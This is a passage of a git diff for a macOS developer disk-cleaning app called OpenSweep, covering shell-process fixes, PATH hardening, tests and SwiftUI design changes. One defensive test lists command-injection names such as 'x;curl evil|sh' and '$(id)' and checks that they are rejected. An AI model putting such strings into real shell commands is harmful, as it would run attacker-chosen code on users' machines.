bytes: UInt64 = 0) { - state.withLock { - $0.filesVisited += 1 - $0.bytesMeasured += bytes - if let path, $0.filesVisited & 63 == 0 { $0.currentPath = path } - } - } - - public func found(items: Int, bytes: UInt64) { - state.withLock { $0.itemsFound += items; $0.bytesFound += bytes } - } - - public var snapshot: Snapshot { state.withLock { $0 } } -} diff --git a/CleanCore/Sources/CleanCore/Shell.swift b/CleanCore/Sources/CleanCore/Shell.swift index de6be1e..f44844e 100644 --- a/CleanCore/Sources/CleanCore/Shell.swift +++ b/CleanCore/Sources/CleanCore/Shell.swift @@ -16,8 +16,13 @@ public enum Shell { task.executableURL = URL(filePath: executable) task.arguments = args var env = ProcessInfo.processInfo.environment - env["PATH"] = "/opt/homebrew/bin:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:" + (env["PATH"] ?? "") + // Fixed folders first, then only the absolute parts of the + // inherited PATH (never "." or an empty entry). + let inherited = (env["PATH"] ?? "").split(separator: ":").filter { $0.hasPrefix("/") } + env["PATH"] = (["/opt/homebrew/bin", "/usr/local/bin", "/usr/bin", "/bin", "/usr/sbin", "/sbin"] + inherited.map(String.init)) + .joined(separator: ":") task.environment = env + task.standardInput = FileHandle.nullDevice let outPipe = Pipe(), errPipe = Pipe() task.standardOutput = outPipe task.standardError = errPipe @@ -29,18 +34,32 @@ public enum Shell { } let timer = DispatchWorkItem { if task.isRunning { task.terminate() } } DispatchQueue.global().asyncAfter(deadline: .now() + timeout, execute: timer) - let outData = outPipe.fileHandleForReading.readDataToEndOfFile() - let errData = errPipe.fileHandleForReading.readDataToEndOfFile() - task.waitUntilExit() - timer.cancel() - cont.resume(returning: Output( - stdout: String(decoding: outData, as: UTF8.self), - stderr: String(decoding: errData, as: UTF8.self), - status: task.terminationStatus - )) + // Both pipes are drained at once on GCD threads, never on Swift's + // concurrency threads (blocking those can starve the app), and a + // tool that fills stderr cannot stall waiting for stdout to be read. + let box = Collected() + let group = DispatchGroup() + DispatchQueue.global().async(group: group) { box.out = outPipe.fileHandleForReading.readDataToEndOfFile() } + DispatchQueue.global().async(group: group) { box.err = errPipe.fileHandleForReading.readDataToEndOfFile() } + group.notify(queue: .global()) { + task.waitUntilExit() + timer.cancel() + cont.resume(returning: Output( + stdout: String(decoding: box.out, as: UTF8.self), + stderr: String(decoding: box.err, as: UTF8.self), + status: task.terminationStatus + )) + } } } + /// Output gathered by the two reader threads; each writes only its own + /// field and both finish before the group notifies. + private final class Collected: @unchecked Sendable { + var out = Data() + var err = Data() + } + public static func which(_ name: String) -> String? { for dir in ["/opt/homebrew/bin", "/usr/local/bin", "/usr/bin", "/bin", "/usr/sbin"] { let p = "\(dir)/\(name)" diff --git a/CleanCore/Sources/CleanCore/SizeCache.swift b/CleanCore/Sources/CleanCore/SizeCache.swift index a699b79..adf8626 100644 --- a/CleanCore/Sources/CleanCore/SizeCache.swift +++ b/CleanCore/Sources/CleanCore/SizeCache.swift @@ -30,8 +30,7 @@ public final class SizeCache: Sendable { let mtime = (try? url.resourceValues(forKeys: [.contentModificationDateKey]).contentModificationDate)?.timeIntervalSince1970 ?? 0 let now = Date().timeIntervalSince1970 if let e = state.withLock({ $0[path] }), e.mtime == mtime, now - e.measured < maxAge { - ScanTelemetry.shared.visited(path, bytes: e.bytes) - return DirectorySizer.Sizes(logical: e.bytes, allocated: e.bytes, fileCount: e.files) + return DirectorySizer.Sizes(allocated: e.bytes, fileCount: e.files) } let s = DirectorySizer.size(of: url) state.withLock { $0[path] = Entry(bytes: s.allocated, files: s.fileCount, mtime: mtime, measured: now) } diff --git a/CleanCore/Tests/AgentEngineTests/AgentEngineTests.swift b/CleanCore/Tests/AgentEngineTests/AgentEngineTests.swift index 4e16804..6cb4abf 100644 --- a/CleanCore/Tests/AgentEngineTests/AgentEngineTests.swift +++ b/CleanCore/Tests/AgentEngineTests/AgentEngineTests.swift @@ -31,6 +31,7 @@ final class EngineContractTests: XCTestCase { XCTAssertEqual(p.verdict, .dormant) XCTAssertEqual(p.items.map(\.path), ["node_modules", ".next"]) XCTAssertEqual(p.items.map(\.kind), [.caution, .safe]) + XCTAssertEqual(p.items.map(\.shared), [false, false]) XCTAssertEqual(s.projects, 1) XCTAssertEqual(s.ready.folders, 1) } @@ -50,6 +51,11 @@ final class EngineContractTests: XCTestCase { .skipped(path: "/x", reason: .otherVolume, detail: "on another volume")) } + func testProtectedLine() throws { + let line = Data(#"{"schema_version":1,"type":"skipped","path":"/x","reason":"protected","detail":"d"}"#.utf8) + XCTAssertEqual(try Engine.decode(ScanEvent.self, from: line), .skipped(path: "/x", reason: .protected, detail: "d")) + } + func testPlanCleanAndRuns() throws { XCTAssertEqual(try one(PlanOutput.self, "plan").project.items.count, 2) let dry = try one(CleanOutput.self, "clean-dry-run") diff --git a/CleanCore/Tests/AgentEngineTests/DevStackRemovalTests.swift b/CleanCore/Tests/AgentEngineTests/DevStackRemovalTests.swift new file mode 100644 index 0000000..452e603 --- /dev/null +++ b/CleanCore/Tests/AgentEngineTests/DevStackRemovalTests.swift @@ -0,0 +1,28 @@ +// SPDX-License-Identifier: Apache-2.0 + +import XCTest +@testable import CleanCore + +/// Dev Stack shows a copyable removal command built from names found on disk. +/// A hostile name must never become a pasteable shell payload. +final class DevStackRemovalTests: XCTestCase { + func testPlainNamesGetACommand() { + XCTAssertEqual(DevStackItem.Removal.command("cargo uninstall", "ripgrep"), .command("cargo uninstall ripgrep")) + XCTAssertEqual(DevStackItem.Removal.command("npm uninstall -g", "@scope/pkg"), .command("npm uninstall -g @scope/pkg")) + XCTAssertEqual(DevStackItem.Removal.command("brew uninstall", "postgresql@16"), .command("brew uninstall postgresql@16")) + } + + func testShellSyntaxInANameGivesNoCommand() { + for name in ["x;curl evil|sh", "a b", "$(id)", "`id`", "x&&y", "-rf", "x\ny", "a'b", "", "naïve"] { + XCTAssertEqual(DevStackItem.Removal.command("cargo uninstall", name), .never, name) + } + } +} + +final class DevStackTildeTests: XCTestCase { + func testOnlyAWholeHomeFolderBecomesATilde() { + XCTAssertEqual(DevStackInventory.tilde("/Users/bob/.cargo", "/Users/bob"), "~/.cargo") + XCTAssertEqual(DevStackInventory.tilde("/Users/bob", "/Users/bob"), "~") + XCTAssertEqual(DevStackInventory.tilde("/Users/bobby/x", "/Users/bob"), "/Users/bobby/x") + } +} diff --git a/CleanCore/Tests/AgentEngineTests/ShellTests.swift b/CleanCore/Tests/AgentEngineTests/ShellTests.swift new file mode 100644 index 0000000..c803662 --- /dev/null +++ b/CleanCore/Tests/AgentEngineTests/ShellTests.swift @@ -0,0 +1,17 @@ +// SPDX-License-Identifier: Apache-2.0 + +import XCTest +import CleanCore + +final class ShellTests: XCTestCase { + /// A tool that fills stderr before writing stdout must not stall until + /// the timeout: both pipes are drained at once. + func testABusyStderrDoesNotStall() async { + let start = Date() + let out = await Shell.run("/bin/sh", ["-c", "head -c 200000 /dev/zero >&2; echo ok"], timeout: 20) + XCTAssertEqual(out.stdout, "ok\n") + XCTAssertEqual(out.stderr.utf8.count, 200_000) + XCTAssertTrue(out.ok) + XCTAssertLessThan(Date().timeIntervalSince(start), 10) + } +} diff --git a/OpenSweep/App/AppModel.swift b/OpenSweep/App/AppModel.swift index eac6fae..010e7e0 100644 --- a/OpenSweep/App/AppModel.swift +++ b/OpenSweep/App/AppModel.swift @@ -72,7 +72,7 @@ final class AppModel { func recheckAccess() { fullDiskAccess = FullDiskAccess.granted } /// Folders the last scan could not read because of macOS privacy settings. - var privacyBlocked: Int { skipped.filter { $0.detail.contains("Operation not permitted") }.count } + var privacyBlocked: Int { skipped.filter { $0.reason == .protected }.count } /// Quarantined runs are purged after this many days, freeing their space; 0 keeps them until purged by hand. var autoFreeDays: Int { @@ -116,7 +116,7 @@ final class AppModel { /// What the scan covers, for people. var scanScope: String { - wholeDisk ? (otherDrives ? "your whole Mac and other drives" : "your whole Mac") : scanRoots.map { ($0 as NSString).abbreviatingWithTildeInPath }.joined(separator: ", ") + wholeDisk ? (otherDrives ? "your whole Mac and other drives" : "your whole Mac") : scanRoots.map { tildePath($0) }.joined(separator: ", ") } init() { @@ -138,11 +138,15 @@ final class AppModel { if engine == nil { error = "The engine is missing from the app bundle. Reinstall OpenSweep." } } - /// The bundled binary, or OPENSWEEP_BIN when developing. + /// The bundled binary, or OPENSWEEP_BIN in Debug builds. Release builds + /// never take the engine path from the environment: the engine runs with + /// the app's Full Disk Access. static func locateEngine() -> URL? { + #if DEBUG if let dev = ProcessInfo.processInfo.environment["OPENSWEEP_BIN"] { return URL(fileURLWithPath: dev) } + #endif // Contents/Helpers: Contents/MacOS ignores case and holds OpenSweep. let helper = Bundle.main.bundleURL.appendingPathComponent("Contents/Helpers/opensweep") return FileManager.default.isExecutableFile(atPath: helper.path) ? helper : nil @@ -174,7 +178,7 @@ final class AppModel { for try await event in engine.scan(roots: roots, wholeDisk: whole, otherDrives: drives) { switch event { case .project(let p): projects.append(p) - case .skipped(let path, _, let detail): skipped.append(SkippedFolder(path: path, detail: detail)) + case .skipped(let path, let reason, let detail): skipped.append(SkippedFolder(path: path, detail: detail, reason: reason)) case .summary(let s): summary = s } } @@ -195,7 +199,9 @@ final class AppModel { let fresh = try await engine.plan(project: URL(fileURLWithPath: root)).project if let i = projects.firstIndex(where: { $0.root == root }) { projects[i] = fresh } } catch { - projects.removeAll { $0.root == root } + // A project whose folder is gone leaves the list; any other + // failure keeps it and says what went wrong. + if FileManager.default.fileExists(atPath: root) { fail(error) } else { projects.removeAll { $0.root == root } } } if persist { settle() } } @@ -263,9 +269,11 @@ final class AppModel { func runScheduleIfDue(now: Date = Date()) async { guard !testRun, let interval = autoClean.interval, !scanning else { return } if let last = lastAutoClean, now.timeIntervalSince(last) < interval { return } + // This scan's own outcome decides, not an older error still on screen. + let before = lastScan toggleScan() await scanTask?.value - guard error == nil, summary != nil else { return } + guard lastScan != before, summary != nil else { return } lastAutoClean = now guard let run = await runSchedule(cap: UInt64(max(autoCleanCapGB, 1)) * 1_000_000_000) else { return } let moved = run.entries.filter { $0.state == .moved } @@ -518,6 +526,8 @@ enum FullDiskAccess { struct SkippedFolder: Codable, Hashable { let path: String let detail: String + /// Missing in summaries saved by older versions. + var reason: SkipReason? = nil } /// Folders ticked in one project, for a clean. diff --git a/OpenSweep/App/QAWalkthrough.swift b/OpenSweep/App/QAWalkthrough.swift index 3a2f6e0..3f89eac 100644 --- a/OpenSweep/App/QAWalkthrough.swift +++ b/OpenSweep/App/QAWalkthrough.swift @@ -35,6 +35,12 @@ enum QAWalkthrough { } let fm = FileManager.default try? fm.createDirectory(at: out, withIntermediateDirectories: true) + // OPENSWEEP_QA_APPEARANCE=light|dark checks one palette whatever the system uses. + switch ProcessInfo.processInfo.environment["OPENSWEEP_QA_APPEARANCE"] { + case "light": NSApp.appearance = NSAppearance(named: .aqua) + case "dark": NSApp.appearance = NSAppearance(named: .darkAqua) + default: break + } await pause(2) check(model.engine != nil, "the bundled engine was found") @@ -116,6 +122,14 @@ enum QAWalkthrough { .write(to: out.appendingPathComponent("12-disk-map.png")) } check(map.cgImage != nil, "the disk map renders") + let flow = ImageRenderer(content: SpaceFlow(stats: LanguageStat.of(model.projects), hovered: .constant(nil), animate: false) + .padding(24).frame(width: 1100).background(Brand.canvas)) + flow.scale = 2 + if let cg = flow.cgImage { + try? NSBitmapImageRep(cgImage: cg).representation(using: .png, properties: [:])? + .write(to: out.appendingPathComponent("13-space-flow.png")) + } + check(flow.cgImage != nil, "the space flow renders") // Scheduled clean (P5): dormant projects' Safe folders only, one run, one Undo. let sched = await model.runSchedule(cap: 1_000_000_000) diff --git a/OpenSweep/App/Updater.swift b/OpenSweep/App/Updater.swift index c4a7dac..bef4872 100644 --- a/OpenSweep/App/Updater.swift +++ b/OpenSweep/App/Updater.swift @@ -13,4 +13,10 @@ enum Updater { }() static func checkForUpdates() { controller?.checkForUpdates(nil) } + + /// Whether Sparkle checks on its own; nil when this build has no updater. + static var automaticChecks: Bool? { + get { controller?.updater.automaticallyChecksForUpdates } + set { if let newValue { controller?.updater.automaticallyChecksForUpdates = newValue } } + } } diff --git a/OpenSweep/Design/Motion.swift b/OpenSweep/Design/Motion.swift index a2da725..68d3bb5 100644 --- a/OpenSweep/Design/Motion.swift +++ b/OpenSweep/Design/Motion.swift @@ -1,8 +1,8 @@ // SPDX-License-Identifier: Apache-2.0 // -// Motion, doodles and characters. Every moving piece stops or shortens when +// Motion and characters. Every moving piece stops or shortens when // the person turns on Reduce Motion. The characters are Open Peeps by Pablo -// Stanley (CC0), see docs/THIRD-PARTY.md; the doodles are drawn here. +// Stanley (CC0), see docs/THIRD-PARTY.md. import SwiftUI import AppKit @@ -53,7 +53,7 @@ struct Ambient: View { // MARK: - Entrances -/// Fades, lifts and un-blurs a view the first time it appears; `delay` staggers lists. +/// Fades and lifts a view the first time it appears; `delay` staggers lists. struct Entrance: ViewModifier { let delay: Double let edge: Edge @@ -64,12 +64,10 @@ struct Entrance: ViewModifier { let still = shown || reduce content .opacity(shown ? 1 : 0) - .offset(x: still ? 0 : (edge == .leading ? -24 : edge == .trailing ? 24 : 0), - y: still ? 0 : (edge == .bottom ? 18 : edge == .top ? -18 : 0)) - .scaleEffect(still ? 1 : 0.97) - .blur(radius: still ? 0 : 6) + .offset(x: still ? 0 : (edge == .leading ? -12 : edge == .trailing ? 12 : 0), + y: still ? 0 : (edge == .bottom ? 10 : edge == .top ? -10 : 0)) .onAppear { - withAnimation(reduce ? .easeOut(duration: 0.2) : .spring(response: 0.55, dampingFraction: 0.82).delay(delay)) { shown = true } + withAnimation(reduce ? .easeOut(duration: 0.2) : .smooth(duration: 0.45).delay(delay)) { shown = true } } } } @@ -77,17 +75,17 @@ struct Entrance: ViewModifier { extension View { /// Item `index` of a list enters a little after the one before it. func entrance(_ index: Int = 0, from edge: Edge = .bottom) -> some View { - modifier(Entrance(delay: min(Double(index) * 0.05, 0.5), edge: edge)) + modifier(Entrance(delay: min(Double(index) * 0.04, 0.32), edge: edge)) } - func hoverTilt(_ tint: Color) -> some View { modifier(HoverTilt(tint: tint)) } + func hoverLift(_ tint: Color, radius: CGFloat = 18) -> some View { modifier(HoverLift(tint: tint, radius: radius)) } } /// How a whole screen arrives when the sidebar changes it. struct PageShift: ViewModifier { let on: Bool func body(content: Content) -> some View { - content.opacity(on ? 0 : 1).offset(x: on ? 40 : 0).blur(radius: on ? 10 : 0) + content.opacity(on ? 0 : 1).offset(y: on ? 8 : 0) } } @@ -100,159 +98,21 @@ extension AnyTransition { // MARK: - Hover -/// Leans toward the pointer, lifts and lights up in its own colour. -struct HoverTilt: ViewModifier { +/// Lifts a card a couple of points and edges it in its own colour. +struct HoverLift: ViewModifier { let tint: Color - @State private var point: CGPoint? - @State private var size: CGSize = .zero + let radius: CGFloat + @State private var hover = false @Environment(\.accessibilityReduceMotion) private var reduce func body(content: Content) -> some View { - let dx = point.map { ($0.x / max(size.width, 1)) - 0.5 } ?? 0 - let dy = point.map { ($0.y / max(size.height, 1)) - 0.5 } ?? 0 content - .overlay { - if let point { - RadialGradient(colors: [tint.opacity(0.22), .clear], - center: UnitPoint(x: point.x / max(size.width, 1), y: point.y / max(size.height, 1)), - startRadius: 0, endRadius: 220) - .clipShape(RoundedRectangle(cornerRadius: 18, style: .continuous)) - .allowsHitTesting(false) - .accessibilityHidden(true) - } - } - .background(GeometryReader { g in Color.clear.onAppear { size = g.size }.onChange(of: g.size) { size = g.size } }.accessibilityHidden(true)) - .rotation3DEffect(.degrees(reduce ? 0 : 7), axis: (x: -dy, y: dx, z: 0), perspective: 0.6) - .scaleEffect(point == nil || reduce ? 1 : 1.025) - .shadow(color: tint.opacity(point == nil ? 0 : 0.28), radius: 22, y: 10) - .zIndex(point == nil ? 0 : 1) - .animation(.spring(response: 0.35, dampingFraction: 0.75), value: point) - .onContinuousHover { phase in - switch phase { - case .active(let p): point = p - case .ended: point = nil - } - } - } -} - -// MARK: - Backdrop - -/// Slow drifting light in the colours of your languages, over a faint dot grid. -struct AnimatedBackdrop: View { - var colors: [Color] - - var body: some View { - ZStack { - Brand.canvas - Ambient { t in - Canvas { ctx, size in - for (i, c) in colors.prefix(4).enumerated() { - let p = Double(i) * 1.9 - let x = size.width * (0.5 + 0.42 * sin(t * 0.05 + p)) - let y = size.height * (0.5 + 0.40 * cos(t * 0.037 + p * 1.3)) - let r = max(size.width, size.height) * 0.42 - ctx.fill(Path(ellipseIn: CGRect(x: x - r, y: y - r, width: 2 * r, height: 2 * r)), - with: .radialGradient(Gradient(colors: [c.opacity(0.12), c.opacity(0)]), - center: CGPoint(x: x, y: y), startRadius: 0, endRadius: r)) - } - } - } - Canvas { ctx, size in - var dots = Path() - let step: CGFloat = 28 - var y = step / 2 - while y < size.height { - var x = step / 2 - while x < size.width { dots.addEllipse(in: CGRect(x: x - 0.8, y: y - 0.8, width: 1.6, height: 1.6)); x += step } - y += step - } - ctx.fill(dots, with: .color(Brand.text.opacity(0.05))) - } - } - .ignoresSafeArea() - .accessibilityHidden(true) - } -} - -// MARK: - Doodles - -/// Hand-drawn marks, each in a unit box. -struct Doodle: Shape { - enum Kind { case sparkle, squiggle, loops, arrow, scribbleCircle, zigzag, plus } - let kind: Kind - - func path(in r: CGRect) -> Path { - var p = Path() - func pt(_ x: CGFloat, _ y: CGFloat) -> CGPoint { CGPoint(x: r.minX + x * r.width, y: r.minY + y * r.height) } - func curve(_ steps: Int, _ f: (CGFloat) -> CGPoint) { - for i in 0...steps { - let q = f(CGFloat(i) / CGFloat(steps)) - if i == 0 { p.move(to: q) } else { p.addLine(to: q) } - } - } - switch kind { - case .sparkle: - p.move(to: pt(0.5, 0)) - p.addQuadCurve(to: pt(1, 0.5), control: pt(0.56, 0.44)) - p.addQuadCurve(to: pt(0.5, 1), control: pt(0.56, 0.56)) - p.addQuadCurve(to: pt(0, 0.5), control: pt(0.44, 0.56)) - p.addQuadCurve(to: pt(0.5, 0), control: pt(0.44, 0.44)) - case .squiggle: - curve(80) { t in pt(t, 0.5 - 0.38 * sin(t * .pi * 5) * (0.6 + 0.4 * t)) } - case .loops: - curve(160) { t in pt(0.06 + t * 0.82 + 0.08 * cos(t * .pi * 8 + .pi), 0.5 + 0.38 * sin(t * .pi * 8)) } - case .arrow: - p.move(to: pt(0.02, 0.9)) - p.addCurve(to: pt(0.92, 0.18), control1: pt(0.2, 0.2), control2: pt(0.6, 0.02)) - p.move(to: pt(0.72, 0.08)) - p.addLine(to: pt(0.93, 0.17)) - p.addLine(to: pt(0.84, 0.38)) - case .scribbleCircle: - curve(120) { t in - let a = t * .pi * 2.25 - .pi / 2 - let k = 1 + 0.05 * sin(t * 11) - return pt(0.5 + 0.47 * k * cos(a), 0.5 + 0.44 * k * sin(a)) - } - case .zigzag: - curve(6) { t in pt(t, Int((t * 6).rounded()) % 2 == 0 ? 0.8 : 0.2) } - case .plus: - p.move(to: pt(0.5, 0.05)); p.addLine(to: pt(0.5, 0.95)) - p.move(to: pt(0.05, 0.5)); p.addLine(to: pt(0.95, 0.5)) - } - return p - } -} - -/// A doodle that draws itself in, then drifts and, for sparkles, twinkles. -struct DoodleView: View { - let kind: Doodle.Kind - var color: Color = Brand.teal - var lineWidth: CGFloat = 2.5 - var delay: Double = 0 - @State private var drawn: CGFloat = 0 - @Environment(\.accessibilityReduceMotion) private var reduce - - var body: some View { - Group { - if kind == .sparkle { - Ambient { t in - let w = sin(t * 2.4 + delay * 3) - Doodle(kind: kind).fill(color) - .scaleEffect(drawn * (0.9 + 0.2 * w)) - .rotationEffect(.degrees(5 + 15 * w)) - } - } else { - Doodle(kind: kind).trim(from: 0, to: drawn) - .stroke(color, style: StrokeStyle(lineWidth: lineWidth, lineCap: .round, lineJoin: .round)) - } - } - .accessibilityHidden(true) - .allowsHitTesting(false) - .onAppear { - if reduce { drawn = 1; return } - withAnimation(.easeInOut(duration: 0.9).delay(delay)) { drawn = 1 } - } + .overlay(RoundedRectangle(cornerRadius: radius, style: .continuous) + .strokeBorder(tint.opacity(hover ? 0.55 : 0), lineWidth: 1).allowsHitTesting(false)) + .offset(y: hover && !reduce ? -2 : 0) + .shadow(color: .black.opacity(hover ? 0.18 : 0), radius: 16, y: 8) + .animation(.smooth(duration: 0.22), value: hover) + .onHover { hover = $0 } } } @@ -276,8 +136,11 @@ struct Blob: Shape { // MARK: - Characters -/// One of the Open Peeps cast on a lumpy coloured blob, bobbing gently. +/// One of the Open Peeps cast on a lumpy coloured blob. Still at rest; the +/// face swaps with a small spring when the mood changes. struct Peep: View { + /// Settings switch for the character and the cleaning stats (F19). + static let showKey = "showCharacter" enum Mood: String { case happy, talk, calm, wow, lol } let asset: String var size: CGFloat = 96 @@ -292,13 +155,14 @@ struct Peep: View { asset = "peep-crew-\(crew)"; self.size = size; self.backdrop = backdrop; self.phase = phase } + @AppStorage(Peep.showKey) private var show = true + var body: some View { - Ambient { t in - let w = sin(t * 3.6 + phase) - figure - .offset(y: size * 0.04 * w) - .rotationEffect(.degrees(3 * w)) - } + if show { shown } + } + + private var shown: some View { + figure .animation(.spring(response: 0.4, dampingFraction: 0.6), value: asset) .accessibilityHidden(true) } diff --git a/OpenSweep/Design/Theme.swift b/OpenSweep/Design/Theme.swift index 4247858..01a4a7c 100644 --- a/OpenSweep/Design/Theme.swift +++ b/OpenSweep/Design/Theme.swift @@ -3,18 +3,19 @@ import AppKit import CleanCore import AgentEngine -/// Graphite chrome that stays out of the way: colour comes from the -/// languages' own logos, status, and one mint accent for the main action. -/// Graphite in dark mode, paper in light; the app follows the system. -/// Light text colours keep at least 4.5:1 on white. +/// Neutral chrome on a solid canvas: colour comes only from the languages' +/// own logos, status, and one mint accent for the main action. Near-black +/// in dark mode, paper in light; the app follows the system. Depth comes +/// from three fills (canvas, surface, raised) and a hairline, never a +/// gradient. Every text colour keeps at least 4.5:1 on every fill. enum Brand { - static let canvas = Color(dark: 0x14171C, light: 0xF4F6F9) - static let surface = Color(dark: 0x1C2027, light: 0xFFFFFF) - static let raised = Color(dark: 0x252A33, light: 0xEDF0F4) - static let hairline = Color(dark: 0x323844, light: 0xD9DEE6) - static let text = Color(dark: 0xE6E9EE, light: 0x161A20) - /// Secondary text: 7.9:1 on the dark canvas; 7:1 on white. - static let muted = Color(dark: 0xA7AFBC, light: 0x4E5766) + static let canvas = Color(dark: 0x0E1013, light: 0xF5F5F7) + static let surface = Color(dark: 0x16191E, light: 0xFFFFFF) + static let raised = Color(dark: 0x1F232A, light: 0xF0F1F4) + static let hairline = Color(dark: 0x2A2F38, light: 0xE1E4E9) + static let text = Color(dark: 0xECEEF2, light: 0x14171C) + /// Secondary text: 8.6:1 on the dark surface; 6.9:1 on light raised. + static let muted = Color(dark: 0xA4ACB9, light: 0x4E5766) static let teal = Color(dark: 0x5FE3C8, light: 0x08695A) static let green = Color(dark: 0x4ADE80, light: 0x166534) static let amber = Color(dark: 0xF5B83D, light: 0x92400E) @@ -54,11 +55,12 @@ extension Color { // MARK: - Surfaces extension View { - /// A flat panel with a hairline edge. Hierarchy comes from the fill + /// A solid panel with a hairline edge. Hierarchy comes from the fill /// (surface, then raised), not from shadows. func glassCard(radius: CGFloat = 12, tint: Color? = nil) -> some View { - background(RoundedRectangle(cornerRadius: radius, style: .continuous).fill(tint.map { $0.opacity(0.12) } ?? Brand.surface)) - .overlay(RoundedRectangle(cornerRadius: radius, style: .continuous).strokeBorder(Brand.hairline, lineWidth: 1)) + let shape = RoundedRectangle(cornerRadius: radius, style: .continuous) + return background(shape.fill(tint.map { $0.opacity(0.10) } ?? Brand.surface)) + .overlay(shape.strokeBorder(Brand.hairline, lineWidth: 1)) } /// The one floating element on a screen (the action bar): Liquid Glass on @@ -97,30 +99,53 @@ struct StatusChip: View { } /// The one primary action on a screen. +/// Presses in a little; brightens under the pointer. struct PrimaryButtonStyle: ButtonStyle { var tint: Color = Brand.teal - @Environment(\.isEnabled) private var enabled - func makeBody(configuration: Configuration) -> some View { - configuration.label - .font(.body.weight(.semibold)) - .padding(.horizontal, 18).padding(.vertical, 8) - .foregroundStyle(Brand.onAccent) - .background(RoundedRectangle(cornerRadius: 9, style: .continuous).fill(tint.opacity(configuration.isPressed ? 0.8 : 1))) - .opacity(enabled ? 1 : 0.35) - .animation(.easeOut(duration: 0.12), value: configuration.isPressed) + func makeBody(configuration: Configuration) -> some View { Styled(configuration: configuration, tint: tint) } + + private struct Styled: View { + let configuration: Configuration + let tint: Color + @Environment(\.isEnabled) private var enabled + @State private var hover = false + var body: some View { + configuration.label + .font(.body.weight(.semibold)) + .padding(.horizontal, 18).padding(.vertical, 8) + .foregroundStyle(Brand.onAccent) + .background(RoundedRectangle(cornerRadius: 9, style: .continuous).fill(tint)) + .brightness(configuration.isPressed ? -0.06 : hover && enabled ? 0.04 : 0) + .scaleEffect(configuration.isPressed ? 0.97 : 1) + .opacity(enabled ? 1 : 0.35) + .animation(.snappy(duration: 0.18), value: configuration.isPressed) + .animation(.easeOut(duration: 0.15), value: hover) + .onHover { hover = $0 } + } } } struct SecondaryButtonStyle: ButtonStyle { - @Environment(\.isEnabled) private var enabled - func makeBody(configuration: Configuration) -> some View { - configuration.label - .font(.callout.weight(.medium)) - .padding(.horizontal, 12).padding(.vertical, 6) - .foregroundStyle(Brand.text) - .background(RoundedRectangle(cornerRadius: 8, style: .continuous).fill(configuration.isPressed ? Brand.hairline : Brand.raised)) - .overlay(RoundedRectangle(cornerRadius: 8, style: .continuous).strokeBorder(Brand.hairline)) - .opacity(enabled ? 1 : 0.4) + func makeBody(configuration: Configuration) -> some View { Styled(configuration: configuration) } + + private struct Styled: View { + let configuration: Configuration + @Environment(\.isEnabled) private var enabled + @State private var hover = false + var body: some View { + let shape = RoundedRectangle(cornerRadius: 8, style: .continuous) + configuration.label + .font(.callout.weight(.medium)) + .padding(.horizontal, 12).padding(.vertical, 6) + .foregroundStyle(Brand.text) + .background(shape.fill(configuration.isPressed || (hover && enabled) ? Brand.hairline : Brand.raised)) + .overlay(shape.strokeBorder(Brand.hairline)) + .scaleEffect(configuration.isPressed ? 0.97 : 1) + .opacity(enabled ? 1 : 0.4) + .animation(.snappy(duration: 0.18), value: configuration.isPressed) + .animation(.easeOut(duration: 0.15), value: hover) + .onHover { hover = $0 } + } } } @@ -177,6 +202,13 @@ extension Font { func bytes(_ n: UInt64) -> String { ByteFormatter.string(n) } +/// A path with the home folder shown as ~. Uses HOME, as the engine does, +/// so a run with HOME pointed elsewhere (QA, screenshots) abbreviates too. +func tildePath(_ path: String) -> String { + let home = ProcessInfo.processInfo.environment["HOME"] ?? NSHomeDirectory() + return path == home || path.hasPrefix(home + "/") ? "~" + path.dropFirst(home.count) : path +} + extension Verdict { var label: String { switch self { diff --git a/OpenSweep/Views/CachesView.swift b/OpenSweep/Views/CachesView.swift index 8a06e3e..6b741c6 100644 --- a/OpenSweep/Views/CachesView.swift +++ b/OpenSweep/Views/CachesView.swift @@ -37,6 +37,11 @@ struct CachesView: View { if !results.isEmpty { resultCard } + if model.caches.contains(where: { $0.bytes > 0 }) { + CacheMap(caches: model.caches, picked: $picked, running: running) + .entrance(0) + } + if !clearable.isEmpty { SectionLabel(text: "Can be cleared") ForEach(Array(clearable.enumerated()), id: \.element.id) { i, c in row(c).entrance(i + 1) } @@ -119,7 +124,7 @@ struct CachesView: View { EcosystemBadge(ecosystem: Ecosystem.of(cache: c.id), size: 30) VStack(alignment: .leading, spacing: 3) { Text(c.name).font(.headline).foregroundStyle(Brand.text) - Text((c.path as NSString).abbreviatingWithTildeInPath).font(.caption).foregroundStyle(Brand.muted) + Text(tildePath(c.path)).font(.caption).foregroundStyle(Brand.muted) .lineLimit(1).truncationMode(.middle) if let cmd = c.command, !cmd.isEmpty { Text(c.installed ? "Runs: \(cmd.joined(separator: " "))" : "\(c.tool) is not installed, so it cannot be cleared from here.") @@ -139,3 +144,97 @@ struct CachesView: View { .glassCard(radius: 12) } } + +/// Where cache space goes: one block per cache, sized by bytes. A block that +/// can be cleared ticks it, like its checkbox; measured-only ones are dimmed. +struct CacheMap: View { + let caches: [ToolCache] + @Binding var picked: Set + let running: Bool + @State private var hovered: String? + + private var shown: [ToolCache] { caches.filter { $0.bytes > 0 }.sorted { $0.bytes > $1.bytes } } + private var total: UInt64 { shown.reduce(0) { $0 + $1.bytes } } + private var clearableBytes: UInt64 { shown.filter(\.clearable).reduce(0) { $0 + $1.bytes } } + + var body: some View { + VStack(alignment: .leading, spacing: 12) { + HStack(alignment: .firstTextBaseline, spacing: 10) { + Text(bytes(total)).font(.figure(28)).foregroundStyle(Brand.text) + Text("in caches, \(bytes(clearableBytes)) can be cleared here").foregroundStyle(Brand.muted) + Spacer() + Text(hovered ?? "Pick a block to tick it").font(.callout).foregroundStyle(Brand.muted) + .lineLimit(1).truncationMode(.middle) + } + .accessibilityElement(children: .combine) + GeometryReader { g in + let rects = Treemap.squarify(shown.map { Double($0.bytes) }, in: CGRect(origin: .zero, size: g.size)) + ZStack(alignment: .topLeading) { + ForEach(Array(shown.enumerated()), id: \.element.id) { i, c in + block(c, in: rects[i].insetBy(dx: 2, dy: 2)) + } + } + } + .frame(height: 220) + .accessibilityElement(children: .contain) + .accessibilityLabel("Cache map") + HStack(spacing: 16) { + legend(dashed: false, "Can be cleared here") + legend(dashed: true, "Measured only: clear it with the tool itself") + } + .font(.caption).foregroundStyle(Brand.muted) + } + .padding(16) + .glassCard(radius: 14) + } + + private func legend(dashed: Bool, _ text: String) -> some View { + HStack(spacing: 6) { + RoundedRectangle(cornerRadius: 3).fill(Brand.muted.opacity(dashed ? 0.12 : 0.35)) + .overlay(RoundedRectangle(cornerRadius: 3).strokeBorder(Brand.muted.opacity(dashed ? 0.6 : 0), style: 